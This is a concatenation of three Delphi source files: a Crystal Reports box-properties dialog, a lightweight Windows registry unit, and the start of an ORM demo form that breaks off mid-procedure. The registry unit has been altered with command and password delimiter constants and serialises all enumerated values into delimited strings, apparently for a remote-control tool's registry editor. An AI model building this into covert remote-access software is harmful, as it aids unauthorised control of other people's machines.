{FillColor}
cbFillColor.Selected := Cr.Boxes.Item.FillColor;
{Format Options}
cbCloseBorder.Checked := Cr.Boxes.Item.CloseBorder;
cbExtend.Checked := Cr.Boxes.Item.Extend;
cbSuppress.Checked := Cr.Boxes.Item.Suppress;
{Corner Rounding}
editCornerRoundingHeight.Text := IntToStr(Cr.Boxes.Item.CornerRoundingHeight);
editCornerRoundingWidth.Text := IntToStr(Cr.Boxes.Item.CornerRoundingWidth);
{Size and Position}
cbSectionStart.ItemIndex := Cr.SectionFormat.IndexOf(Cr.Boxes.Item.SectionStart);
cbSectionEnd.ItemIndex := Cr.SectionFormat.IndexOf(Cr.Boxes.Item.SectionEnd);
rgUnitsClick(Self);
end;
{------------------------------------------------------------------------------}
{ cbBorderStyleChange }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbBorderStyleChange(Sender: TObject);
begin
Cr.Boxes.Item.BorderStyle := TCrLineStyle(cbBorderStyle.ItemIndex);
end;
{------------------------------------------------------------------------------}
{ editBorderWidthEnter }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editBorderWidthEnter(Sender: TObject);
begin
PrevSize := editBorderWidth.Text;
end;
{------------------------------------------------------------------------------}
{ editBorderWidthExit }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editBorderWidthExit(Sender: TObject);
begin
if not IsNumeric(editBorderWidth.Text) then
editBorderWidth.Text := PrevSize
else
Cr.Boxes.Item.BorderWidth := StrToInt(editBorderWidth.Text);
end;
{------------------------------------------------------------------------------}
{ cbBorderColorChange }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbBorderColorChange(Sender: TObject);
begin
Cr.Boxes.Item.BorderColor := cbBorderColor.Selected;
end;
{------------------------------------------------------------------------------}
{ cbFillColorChange }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbFillColorChange(Sender: TObject);
begin
Cr.Boxes.Item.FillColor := cbFillColor.Selected;
end;
{------------------------------------------------------------------------------}
{ cbDropShadowClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbDropShadowClick(Sender: TObject);
begin
Cr.Boxes.Item.DropShadow := cbDropShadow.Checked;
end;
{------------------------------------------------------------------------------}
{ editSizeEnter }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editSizeEnter(Sender: TObject);
begin
if Sender is TEdit then
PrevSize := TEdit(Sender).Text;
end;
{------------------------------------------------------------------------------}
{ editSizeExit }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editSizeExit(Sender: TObject);
begin
if rgUnits.ItemIndex = 0 then {inches}
begin
if not IsFloating(TEdit(Sender).Text) then
TEdit(Sender).Text := PrevSize
else
begin
if TEdit(Sender).Name = 'editTop' then
Cr.Boxes.Item.Top := InchesStrToTwips(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editBottom' then
Cr.Boxes.Item.Bottom := InchesStrToTwips(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editLeft' then
Cr.Boxes.Item.Left := InchesStrToTwips(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editRight' then
Cr.Boxes.Item.Right := InchesStrToTwips(TEdit(Sender).Text);
UpdateBoxes; {this will truncate any decimals beyond 3 places}
end;
end
else {twips}
begin
if not IsNumeric(TEdit(Sender).Text) then
TEdit(Sender).Text := PrevSize
else
begin
if TEdit(Sender).Name = 'editTop' then
Cr.Boxes.Item.Top := StrToInt(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editBottom' then
Cr.Boxes.Item.Bottom := StrToInt(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editLeft' then
Cr.Boxes.Item.Left := StrToInt(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editRight' then
Cr.Boxes.Item.Right := StrToInt(TEdit(Sender).Text);
end;
end;
end;
{------------------------------------------------------------------------------}
{ rgUnitsClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.rgUnitsClick(Sender: TObject);
begin
if rgUnits.ItemIndex = 0 then {inches}
begin
editTop.Text := TwipsToInchesStr(Cr.Boxes.Item.Top);
editBottom.Text := TwipsToInchesStr(Cr.Boxes.Item.Bottom);
editLeft.Text := TwipsToInchesStr(Cr.Boxes.Item.Left);
editRight.Text := TwipsToInchesStr(Cr.Boxes.Item.Right);
end
else {twips}
begin
editTop.Text := IntToStr(Cr.Boxes.Item.Top);
editBottom.Text := IntToStr(Cr.Boxes.Item.Bottom);
editLeft.Text := IntToStr(Cr.Boxes.Item.Left);
editRight.Text := IntToStr(Cr.Boxes.Item.Right);
end;
end;
{------------------------------------------------------------------------------}
{ cbCloseBorderClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbCloseBorderClick(Sender: TObject);
begin
Cr.Boxes.Item.CloseBorder := cbCloseBorder.Checked;
end;
{------------------------------------------------------------------------------}
{ cbExtendClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbExtendClick(Sender: TObject);
begin
Cr.Boxes.Item.Extend := cbExtend.Checked;
end;
{------------------------------------------------------------------------------}
{ cbSuppressClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbSuppressClick(Sender: TObject);
begin
Cr.Boxes.Item.Suppress := cbSuppress.Checked;
end;
{------------------------------------------------------------------------------}
{ editCornerRoundingEnter }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editCornerRoundingEnter(Sender: TObject);
begin
if Sender is TEdit then
PrevSize := TEdit(Sender).Text;
end;
{------------------------------------------------------------------------------}
{ editCornerRoundingExit }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.editCornerRoundingExit(Sender: TObject);
begin
if not IsNumeric(TEdit(Sender).Text) then
TEdit(Sender).Text := PrevSize
else
begin
if TEdit(Sender).Name = 'editCornerRoundingHeight' then
Cr.Boxes.Item.CornerRoundingHeight := StrToInt(TEdit(Sender).Text);
if TEdit(Sender).Name = 'editCornerRoundingWidth' then
Cr.Boxes.Item.CornerRoundingWidth := StrToInt(TEdit(Sender).Text);
end;
end;
{------------------------------------------------------------------------------}
{ cbSectionStartChange }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbSectionStartChange(Sender: TObject);
begin
Cr.Boxes.Item.SectionStart := cbSectionStart.Items[cbSectionStart.ItemIndex];
end;
{------------------------------------------------------------------------------}
{ cbSectionEndChange }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.cbSectionEndChange(Sender: TObject);
begin
Cr.Boxes.Item.SectionEnd := cbSectionEnd.Items[cbSectionEnd.ItemIndex];
end;
{------------------------------------------------------------------------------}
{ btnClearClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.btnClearClick(Sender: TObject);
begin
Cr.Boxes.Clear;
UpdateBoxes;
end;
{------------------------------------------------------------------------------}
{ btnOkClick }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.btnOkClick(Sender: TObject);
begin
rgUnits.ItemIndex := 1; {change to twips to avoid the UpdateBoxes call}
if (not IsStrEmpty(Cr.ReportName)) and (BoxIndex > -1) then
begin
editSizeExit(editTop);
editSizeExit(editBottom);
editSizeExit(editLeft);
editSizeExit(editRight);
end;
SaveFormPos(Self);
Close;
end;
{------------------------------------------------------------------------------}
{ FormClose }
{------------------------------------------------------------------------------}
procedure TCrpeBoxesDlg.FormClose(Sender: TObject;
var Action: TCloseAction);
begin
bBoxes := False;
Release;
end;
end.
|
unit xMiniReg;
{
lightweight replacement for TRegistry. Does not use Classes or SysUtils. Intended
for space-limited applets where only the commonly used functions are necessary.
Returns True if Successful, else False.
Written by Ben Hochstrasser (bhoc@surfeu.ch).
This code is GPL.
Function Examples:
procedure TForm1.Button1Click(Sender: TObject);
var
ba1, ba2: array of byte;
n: integer;
s: String;
d: Cardinal;
begin
setlength(ba1, 10);
for n := 0 to 9 do ba1[n] := byte(n);
RegSetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', 'TestMe');
RegSetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', '%SystemRoot%\Test');
RegSetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', 'String1'#0'String2'#0'String3');
RegSetDword(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', 7);
RegSetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', ba1);
To set the default value for a key, end the key name with a '\':
RegSetString(HKEY_CURRENT_USER, 'Software\My Company\Test\', 'Default Value');
RegGetString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString', s);
RegGetMultiString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s);
RegGetExpandString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestExpandString', s);
RegGetAnyString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s, StringType);
RegSetAnyString(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestMultiString', s, StringType);
RegGetDWORD(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestDword', d);
RegGetBinary(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary', s);
SetLength(ba2, Length(s));
for n := 1 to Length(s) do ba2[n-1] := byte(s[n]);
Button1.Caption := IntToStr(Length(ba2));
if RegKeyExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo') then
if RegValueExists(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestBinary') then
MessageBox(GetActiveWindow, 'OK', 'OK', MB_OK);
RegDelValue(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar\TestString');
RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo\bar');
RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test\foo');
RegDelKey(HKEY_CURRENT_USER, 'Software\My Company\Test');
RegDelKey(HKEY_CURRENT_USER, 'Software\My Company');
if RegEnumKeys(HKEY_CURRENT_USER, 'Software\My Company', s) then
ListBox1.Text := s;
if RegEnumValues(HKEY_CURRENT_USER, 'Software\My Company', s) then
ListBox1.Text := s;
if RegConnect('\\server1', HKEY_LOCAL_MACHINE, RemoteKey) then
begin
RegGetString(RemoteKey, 'Software\My Company\Test\foo\bar\TestString', s);
RegDisconnect(RemoteKey);
end;
end;
}
interface
uses
StrUtils,Windows;
const
DelimitadorComandos = 'f74gfr4g3fhrefrebvier';
DelimitadorComandosPassword = 'jfir8g54jgftr489evrt439';
RegeditDelimitador = 'nfewvr3f9hr4fnrenen';
function RegSetString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
function RegSetMultiString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
function RegSetExpandString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
function RegSetDWORD(RootKey: HKEY; Name: WideString; Value: Cardinal): boolean;
function RegSetBinary(RootKey: HKEY; Name: WideString; Value: Array of Byte): boolean;
function RegGetString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
function RegGetMultiString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
function RegGetExpandString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
function RegGetAnyString(RootKey: HKEY; Name: WideString; Var Value: WideString; Var ValueType: Cardinal): boolean;
function RegSetAnyString(RootKey: HKEY; Name: WideString; Value: WideString; ValueType: Cardinal): boolean;
function RegGetDWORD(RootKey: HKEY; Name: WideString; Var Value: Cardinal): boolean;
function RegGetBinary(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
function RegGetValueType(RootKey: HKEY; Name: WideString; var Value: Cardinal): boolean;
function RegValueExists(RootKey: HKEY; Name: WideString): boolean;
function RegKeyExists(RootKey: HKEY; Name: WideString): boolean;
function RegDelValue(RootKey: HKEY; Name: WideString): boolean;
function RegDelKey(RootKey: HKEY; Name: WideString): boolean;
function RegDelKeyEx(RootKey: HKEY; Name: WideString; WithSubKeys: Boolean = True): boolean;
function RegConnect(MachineName: WideString; RootKey: HKEY; var RemoteKey: HKEY): boolean;
function RegDisconnect(RemoteKey: HKEY): boolean;
function RegEnumKeys(RootKey: HKEY; Name: WideString; var KeyList: WideString): boolean;
function RegEnumValues(RootKey: HKEY; Name: WideString; var ValueList: WideString): boolean;
function _regCreateKey(hkKey: HKEY; lpSubKey: pWideChar): Boolean;
function _regDeleteKey(hkKey: HKEY; lpSubKey: pWideChar): Boolean;
function ReplaceChar(S: WideString; Old, New: WideChar): WideString;
implementation
uses
//UnitConstantes,
sysutils;
function _regDeleteKey(hkKey: HKEY; lpSubKey: pWideChar): Boolean;
begin
Result := RegDeleteKeyW(hkKey, lpSubKey) = ERROR_SUCCESS;
end;
function _regCreateKey(hkKey: HKEY; lpSubKey: pWideChar): Boolean;
var
phkResult: HKEY;
begin
Result := RegCreateKeyW(hkKey, lpSubKey, phkResult) = ERROR_SUCCESS;
RegCloseKey(phkResult);
end;
function LastPos(Needle: WideChar; Haystack: WideString): integer;
begin
for Result := Length(Haystack) downto 1 do
if Haystack[Result] = Needle then
Break;
end;
function RegConnect(MachineName: WideString; RootKey: HKEY; var RemoteKey: HKEY): boolean;
begin
Result := (RegConnectRegistryW(PWideChar(MachineName), RootKey, RemoteKey) = ERROR_SUCCESS);
end;
function RegDisconnect(RemoteKey: HKEY): boolean;
begin
Result := (RegCloseKey(RemoteKey) = ERROR_SUCCESS);
end;
function RegSetValue(RootKey: HKEY; Name: WideString; ValType: Cardinal; PVal: Pointer; ValSize: Cardinal): boolean;
var
SubKey: WideString;
n: integer;
dispo: DWORD;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegCreateKeyExW(RootKey, PWideChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE, KEY_WRITE, nil, hTemp, @dispo) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if SubKey = '' then
Result := (RegSetValueExW(hTemp, nil, 0, ValType, PVal, ValSize) = ERROR_SUCCESS)
else
Result := (RegSetValueExW(hTemp, PWideChar(SubKey), 0, ValType, PVal, ValSize) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
function RegGetValue(RootKey: HKEY; Name: WideString; ValType: Cardinal; var PVal: Pointer; var ValSize: Cardinal): boolean;
var
SubKey: WideString;
n: integer;
MyValType: DWORD;
hTemp: HKEY;
Buf: Pointer;
BufSize: Cardinal;
PKey: pWideChar;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyExW(RootKey, PWideChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if SubKey = '' then
PKey := nil
else
PKey := PWideChar(SubKey);
if RegQueryValueExW(hTemp, PKey, nil, @MyValType, nil, @BufSize) = ERROR_SUCCESS then
begin
GetMem(Buf, BufSize);
if RegQueryValueExW(hTemp, PKey, nil, @MyValType, Buf, @BufSize) = ERROR_SUCCESS then
begin
if ValType = MyValType then
begin
PVal := Buf;
ValSize := BufSize;
Result := True;
end else
begin
FreeMem(Buf);
end;
end else
begin
FreeMem(Buf);
end;
end;
RegCloseKey(hTemp);
end;
end;
end;
function RegSetAnyString(RootKey: HKEY; Name: WideString; Value: WideString; ValueType: Cardinal): boolean;
begin
case ValueType of
REG_SZ, REG_EXPAND_SZ:
Result := RegSetValue(RootKey, Name, ValueType, PWideChar(Value + #0), (Length(Value) * 2) + 2);
Reg_MULTI_SZ:
Result := RegSetValue(RootKey, Name, ValueType, PWideChar(Value + #0#0), (Length(Value) * 2) + 4);
else
Result := False;
end;
end;
function RegSetString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_SZ, PWideChar(Value + #0), (Length(Value) * 2) + 2);
end;
function RegSetMultiString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_MULTI_SZ, PWideChar(Value + #0#0), (Length(Value) * 2) + 4);
end;
function RegSetExpandString(RootKey: HKEY; Name: WideString; Value: WideString): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_EXPAND_SZ, PWideChar(Value + #0), (Length(Value) * 2) + 2);
end;
function RegSetDword(RootKey: HKEY; Name: WideString; Value: Cardinal): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_DWORD, @Value, SizeOf(Cardinal));
end;
function RegSetBinary(RootKey: HKEY; Name: WideString; Value: Array of Byte): boolean;
begin
Result := RegSetValue(RootKey, Name, REG_BINARY, @Value[Low(Value)], length(Value) * 2);
end;
function RegGetString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
begin
Result := False;
Value := '';
if RegGetValue(RootKey, Name, REG_SZ, Buf, BufSize) then
begin
Dec(BufSize);
SetLength(Value, (BufSize div 2) + 2);
if BufSize > 0 then
Move(Buf^, Value[1], BufSize);
FreeMem(Buf);
Result := True;
end;
end;
function ReplaceChar(S: WideString; Old, New: WideChar): WideString;
var
i, j: Integer;
begin
for j := 0 to Length(S) do
begin
i := posex(Old, S);
if i > 0 then
S[i] := New;
end;
Result := S;
end;
function RegGetMultiString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
begin
Result := False;
Value := '';
if RegGetValue(RootKey, Name, REG_MULTI_SZ, Buf, BufSize) then
begin
Dec(BufSize);
SetLength(Value, (BufSize div 2) + 2);
if BufSize > 0 then Move(Buf^, Value[1], BufSize);
if BufSize > 0 then Value := ReplaceChar(Value, #0, #13);
FreeMem(Buf);
Result := True;
end;
end;
function RegGetExpandString(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
begin
Result := False;
Value := '';
if RegGetValue(RootKey, Name, REG_EXPAND_SZ, Buf, BufSize) then
begin
Dec(BufSize);
SetLength(Value, (BufSize div 2) + 2);
if BufSize > 0 then
Move(Buf^, Value[1], BufSize);
FreeMem(Buf);
Result := True;
end;
end;
function RegGetAnyString(RootKey: HKEY; Name: WideString; Var Value: WideString; Var ValueType: Cardinal): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
bOK: Boolean;
MultiString: boolean;
begin
MultiString := False;
Result := False;
Value := '';
if RegGetValueType(Rootkey, Name, ValueType) then
begin
case ValueType of
REG_SZ, REG_EXPAND_SZ, REG_MULTI_SZ:
begin
if ValueType = REG_MULTI_SZ then MultiString := true;
bOK := RegGetValue(RootKey, Name, ValueType, Buf, BufSize);
end
else
bOK := False;
end;
if bOK then
begin
Dec(BufSize);
SetLength(Value, (BufSize div 2) + 2);
if BufSize > 0 then
Move(Buf^, Value[1], BufSize);
if MultiString then value := ReplaceChar(Value, #0, #13);
FreeMem(Buf);
Result := True;
end;
end;
end;
function RegGetDWORD(RootKey: HKEY; Name: WideString; Var Value: Cardinal): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
begin
Result := False;
Value := 0;
if RegGetValue(RootKey, Name, REG_DWORD, Buf, BufSize) then
begin
Value := PDWord(Buf)^;
FreeMem(Buf);
Result := True;
end;
end;
function HexToInt(s: WideString): Longword;
var
b: Byte;
c: WideChar;
begin
Result := 0;
s := UpperCase(s);
for b := 1 to Length(s) do
begin
Result := Result * 16;
c := s[b];
case c of
'0'..'9': Inc(Result, Ord(c) - Ord('0'));
'A'..'F': Inc(Result, Ord(c) - Ord('A') + 10);
else
raise EConvertError.Create('No Hex-Number');
end;
end;
end;
function RegGetBinary(RootKey: HKEY; Name: WideString; Var Value: WideString): boolean;
var
Buf: Pointer;
BufSize: Cardinal;
Arr: Array of Byte;
i: integer;
begin
Result := False;
Value := '';
if RegGetValue(RootKey, Name, REG_BINARY, Buf, BufSize) then
begin
SetLength(Arr, BufSize);
CopyMemory(Arr, Buf, BufSize);
for i := 0 to BufSize do
Value := Value + Char(HexToInt(IntToHex(Arr[i], 2)));
if BufSize > 0 then Delete(Value, length(value), 1);
FreeMem(Buf);
Result := True;
end;
end;
function RegValueExists(RootKey: HKEY; Name: WideString): boolean;
var
SubKey: WideString;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyExW(RootKey, PWideChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
Result := (RegQueryValueExW(hTemp, PWideChar(SubKey), nil, nil, nil, nil) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
function RegGetValueType(RootKey: HKEY; Name: WideString; var Value: Cardinal): boolean;
var
SubKey: WideString;
n: integer;
hTemp: HKEY;
ValType: Cardinal;
begin
Result := False;
Value := REG_NONE;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if (RegOpenKeyExW(RootKey, PWideChar(SubKey), 0, KEY_READ, hTemp) = ERROR_SUCCESS) then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
if SubKey = '' then
Result := (RegQueryValueExW(hTemp, nil, nil, @ValType, nil, nil) = ERROR_SUCCESS)
else
Result := (RegQueryValueExW(hTemp, PWideChar(SubKey), nil, @ValType, nil, nil) = ERROR_SUCCESS);
if Result then
Value := ValType;
RegCloseKey(hTemp);
end;
end;
end;
function RegKeyExists(RootKey: HKEY; Name: WideString): boolean;
var
hTemp: HKEY;
begin
Result := False;
if RegOpenKeyExW(RootKey, PWideChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
begin
Result := True;
RegCloseKey(hTemp);
end;
end;
function RegDelValue(RootKey: HKEY; Name: WideString): boolean;
var
SubKey: WideString;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyExW(RootKey, PWideChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
Result := (RegDeleteValueW(hTemp, PWideChar(SubKey)) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
function RegDelKey(RootKey: HKEY; Name: WideString): boolean;
var
SubKey: WideString;
n: integer;
hTemp: HKEY;
begin
Result := False;
n := LastPos('\', Name);
if n > 0 then
begin
SubKey := Copy(Name, 1, n - 1);
if RegOpenKeyExW(RootKey, PWideChar(SubKey), 0, KEY_WRITE, hTemp) = ERROR_SUCCESS then
begin
SubKey := Copy(Name, n + 1, Length(Name) - n);
Result := (RegDeleteKeyW(hTemp, PWideChar(SubKey)) = ERROR_SUCCESS);
RegCloseKey(hTemp);
end;
end;
end;
function RegDelKeyEx(RootKey: HKEY; Name: WideString; WithSubKeys: Boolean = True): boolean;
const
MaxBufSize: Cardinal = 1024;
var
iRes: integer;
hTemp: HKEY;
Buf: WideString;
BufSize: Cardinal;
begin
Result := False;
// no root keys...
if posex('\', Name) <> 0 then
begin
iRes := RegOpenKeyExW(RootKey, PWideChar(Name), 0, KEY_ENUMERATE_SUB_KEYS or KEY_WRITE, hTemp);
if WithSubKeys then
begin
while iRes = ERROR_SUCCESS do
begin
BufSize := MaxBufSize;
SetLength(Buf, BufSize);
iRes := RegEnumKeyExW(hTemp, 0, @Buf[1], BufSize, nil, nil, nil, nil);
if iRes = ERROR_NO_MORE_ITEMS then
begin
RegCloseKey(hTemp);
Result := (RegDeleteKeyW(RootKey, PWideChar(Name)) = ERROR_SUCCESS);
end else
begin
if iRes = ERROR_SUCCESS then
begin
SetLength(Buf, BufSize);
if RegDelKeyEx(RootKey, Concat(Name, '\', Buf), WithSubKeys) then
iRes := ERROR_SUCCESS
else
iRES := ERROR_BADKEY;
end;
end;
end;
end else
begin
RegCloseKey(hTemp);
Result := (RegDeleteKeyW(RootKey, PWideChar(Name)) = ERROR_SUCCESS);
end;
end;
end;
function IntToStr(I: integer): WideString;
begin
Str(I, Result);
end;
function MyRegReadString(Key: HKey; SubKey: WideString; DataType: integer; Data: WideString): WideString;
var
RegKey: HKey;
Buffer: array[0..9999] of WideChar;
BufSize: Integer;
begin
BufSize := SizeOf(Buffer);
Result := '';
if RegOpenKeyW(Key,pWidechar(SubKey),RegKey) = ERROR_SUCCESS then begin;
if RegQueryValueExW(RegKey, pWidechar(Data), nil, @DataType, @Buffer, @BufSize) = ERROR_SUCCESS then begin;
RegCloseKey(RegKey);
Result := widestring(Buffer);
end;
end;
end;
function RegEnum(RootKey: HKEY; Name: WideString; var ResultList: WideString; const DoKeys: Boolean): boolean;
var
i: integer;
iRes: integer;
s: WideString;
hTemp: HKEY;
Buf: Pointer;
BufSize: Cardinal;
regtype: dword;
regdata: WideString;
regdworddata: dword;
valset: bool;
begin
Result := False;
ResultList := '';
if RegOpenKeyExW(RootKey, PWideChar(Name), 0, KEY_READ, hTemp) = ERROR_SUCCESS then
begin
Result := True;
BufSize := 1024;
GetMem(buf, BufSize);
i := 0;
iRes := ERROR_SUCCESS;
while iRes = ERROR_SUCCESS do
begin
BufSize := 1024;
if DoKeys then iRes := RegEnumKeyExW(hTemp, i, buf, BufSize, nil, nil, nil, nil)
else iRes := RegEnumValueW(hTemp, i, buf, BufSize, nil, nil, nil, nil);
if iRes = ERROR_SUCCESS then
begin
SetLength(s, BufSize);
Move(buf^, s[1], BufSize * 2);
ZeroMemory(buf, BufSize);
reggetvaluetype(RootKey, Name + s, regtype);
valset := false;
if regtype = REG_DWORD then
begin
RegGetDword(RootKey, Name + s, RegDwordData);
s := s + delimitadorComandos + inttostr(regtype) + delimitadorComandos + inttostr(RegDwordData) + delimitadorComandos + RegeditDelimitador;
valset := true;
end;
if regtype = REG_BINARY then
begin
RegGetBinary(RootKey,Name + s,regdata);
s := s + delimitadorComandos + inttostr(regtype) + delimitadorComandos + regdata + delimitadorComandos + RegeditDelimitador;
valset := true;
end;
if not valset then
begin
reggetanystring(RootKey,Name + s,regdata,regtype);
s := s + delimitadorComandos + inttostr(regtype) + delimitadorComandos + regdata + delimitadorComandos + RegeditDelimitador;
end;
ResultList := ResultList + s;
inc(i);
end;
end;
RegCloseKey(hTemp);
end;
end;
function RegEnumValues(RootKey: HKEY; Name: WideString; var ValueList: WideString): boolean;
begin
Result := RegEnum(RootKey, Name, ValueList, False);
end;
function RegEnumKeys(RootKey: HKEY; Name: WideString; var KeyList: WideString): boolean;
begin
Result := RegEnum(RootKey, Name, KeyList, True);
end;
end.
|
unit MainForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, StdCtrls, ComCtrls,
Entities,
Aurelius.Drivers.Interfaces;
type
TForm1 = class(TForm)
Panel1: TPanel;
btConnection: TButton;
lbConnection: TLabel;
Panel2: TPanel;
PageControl1: TPageControl;
TabSheet1: TTabSheet;
btCreateSchema: TButton;
brDestroySchema: TButton;
TabSheet2: TTabSheet;
Panel3: TPanel;
Label2: TLabel;
Panel4: TPanel;
Label3: TLabel;
Panel5: TPanel;
Memo1: TMemo;
TabSheet3: TTabSheet;
Panel6: TPanel;
Label1: TLabel;
Panel7: TPanel;
GroupBox1: TGroupBox;
Label4: TLabel;
edFirstName: TEdit;
Label5: TLabel;
edLastName: TEdit;
Label6: TLabel;
edEmail: TEdit;
btSavePerson: TButton;
Label7: TLabel;
edLastId: TEdit;
TabSheet4: TTabSheet;
Panel8: TPanel;
Label8: TLabel;
Panel9: TPanel;
GroupBox2: TGroupBox;
lbFoundPerson: TLabel;
Label11: TLabel;
Label12: TLabel;
edEmailToUpdate: TEdit;
btUpdateEmail: TButton;
edIdToFind: TEdit;
btFindPerson: TButton;
TabSheet5: TTabSheet;
Panel10: TPanel;
Label9: TLabel;
Panel11: TPanel;
GroupBox3: TGroupBox;
Label14: TLabel;
edNameToFind: TEdit;
btListPeople: TButton;
lbResults: TListBox;
procedure FormCreate(Sender: TObject);
procedure btConnectionClick(Sender: TObject);
procedure btCreateSchemaClick(Sender: TObject);
procedure brDestroySchemaClick(Sender: TObject);
procedure btSavePersonClick(Sender: TObject);
procedure btFindPersonClick(Sender: TObject);
procedure btUpdateEmailClick(Sender: TObject);
procedure btListPeopleClick(Sender: TObject);
procedure FormDestroy(Sender: TObject);
private
FLastPersonFound: TPerson;
procedure UpdateInterface;
function Connection: IDBConnection;
public
end;
var
Form1: TForm1;
implementation
uses
Generics.Collections,
DBConnection, ConnectionDialog,
Aurelius.Criteria.Base,
Aurelius.Criteria.Linq,
Aurelius.Engine.DatabaseManager,
Aurelius.Engine.ObjectManager;
{$R *.dfm}
procedure TForm1.brDestroySchemaClick(Sender: TObject);
var
DatabaseManager: TDatabaseManager;
begin
if MessageDlg('Confirm destroying database schema?', mtWarning, [mbYes, mbNo], 0, mbNo) <> mrYes then
Exit;
DatabaseManager := TDatabaseManager.Create(Connection);
try
DatabaseManager.DestroyDatabase;
ShowMessage('Database schema destroyed successfully.');
finally
DatabaseManager.Free;
end;
end;
procedure TForm1.btConnectionClick(Sender: TObject);
begin
TfrmConnectionDialog.ConfigureConnection;
UpdateInterface;
end;
procedure TForm1.btCreateSchemaClick(Sender: TObject);
var
DatabaseManager: TDatabaseManager;
begin
if MessageDlg('Confirm creating database schema?', mtWarning, [mbYes, mbNo], 0, mbYes) <> mrYes then
Exit;
DatabaseManager := TDatabaseManager.Create(Connection);
try
DatabaseManager.BuildDatabase;
ShowMessage('Database schema created succesfully.');
finally
DatabaseManager.Free;
end;
end;
procedure TForm1.btFindPersonClick(Sender: TObject);
var
Manager: TObjectManager;
begin
